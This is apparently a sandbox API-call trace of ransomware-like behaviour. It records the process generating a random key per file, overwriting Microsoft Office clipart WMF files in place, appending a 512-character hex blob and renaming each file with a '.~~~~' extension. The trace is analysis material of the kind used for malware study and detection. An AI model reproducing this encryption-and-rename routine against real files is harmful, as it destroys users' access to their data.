	[0091.856] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.857] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.857] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.857] CloseHandle (hObject=0x124) returned 1
	[0091.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1e48
	[0091.857] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.~~~~")) returned 1
	[0091.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1e48 | out: hHeap=0x300000) returned 1
	[0091.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.858] GetLastError () returned 0x0
	[0091.858] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.860] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.860] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.860] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21185016704) returned 1
	[0091.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa086b1f0, dwHighDateTime=0x1d60e1e)) 
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3873e0
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3873e0 | out: hHeap=0x300000) returned 1
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1e48
	[0091.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388fe8
	[0091.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1e48 | out: hHeap=0x300000) returned 1
	[0091.861] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.861] GetLastError () returned 0x0
	[0091.861] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.861] GetLastError () returned 0x0
	[0091.863] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffcea8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.863] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3158, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3158, lpOverlapped=0x0) returned 1
	[0091.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.864] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.864] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.864] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.864] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.864] CloseHandle (hObject=0x124) returned 1
	[0091.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1e48
	[0091.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.~~~~")) returned 1
	[0091.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1e48 | out: hHeap=0x300000) returned 1
	[0091.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.865] GetLastError () returned 0x0
	[0091.865] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.866] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.866] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.866] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21185647898) returned 1
	[0091.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0891350, dwHighDateTime=0x1d60e1e)) 
	[0091.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387418
	[0091.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387418 | out: hHeap=0x300000) returned 1
	[0091.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1e48
	[0091.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389080
	[0091.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1e48 | out: hHeap=0x300000) returned 1
	[0091.867] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.867] GetLastError () returned 0x0
	[0091.867] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.867] GetLastError () returned 0x0
	[0091.869] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd66c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.869] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2994, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2994, lpOverlapped=0x0) returned 1
	[0091.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.870] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.870] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.870] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.870] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.870] CloseHandle (hObject=0x124) returned 1
	[0091.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.~~~~")) returned 1
	[0091.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.871] GetLastError () returned 0x0
	[0091.871] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.872] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.872] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.872] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21186222015) returned 1
	[0091.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0891350, dwHighDateTime=0x1d60e1e)) 
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387450
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387450 | out: hHeap=0x300000) returned 1
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389118
	[0091.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.873] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.873] GetLastError () returned 0x0
	[0091.873] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.873] GetLastError () returned 0x0
	[0091.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff7bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.877] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x844, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x844, lpOverlapped=0x0) returned 1
	[0091.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.877] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.878] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.878] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.878] CloseHandle (hObject=0x124) returned 1
	[0091.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.880] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.~~~~")) returned 1
	[0091.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.882] GetLastError () returned 0x0
	[0091.882] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.883] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.883] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.883] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21187327477) returned 1
	[0091.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa08b74b0, dwHighDateTime=0x1d60e1e)) 
	[0091.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3874c0
	[0091.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3874c0 | out: hHeap=0x300000) returned 1
	[0091.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3891b0
	[0091.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.884] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.884] GetLastError () returned 0x0
	[0091.884] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.884] GetLastError () returned 0x0
	[0091.886] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd31e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.886] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2ce2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2ce2, lpOverlapped=0x0) returned 1
	[0091.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.887] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.887] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.887] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.887] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.887] CloseHandle (hObject=0x124) returned 1
	[0091.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.~~~~")) returned 1
	[0091.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.888] GetLastError () returned 0x0
	[0091.888] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.889] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.889] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.889] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21187944500) returned 1
	[0091.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa08b74b0, dwHighDateTime=0x1d60e1e)) 
	[0091.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3874f8
	[0091.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3874f8 | out: hHeap=0x300000) returned 1
	[0091.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3892e0
	[0091.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.890] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.890] GetLastError () returned 0x0
	[0091.890] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.890] GetLastError () returned 0x0
	[0091.892] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffdbac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.893] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2454, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2454, lpOverlapped=0x0) returned 1
	[0091.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
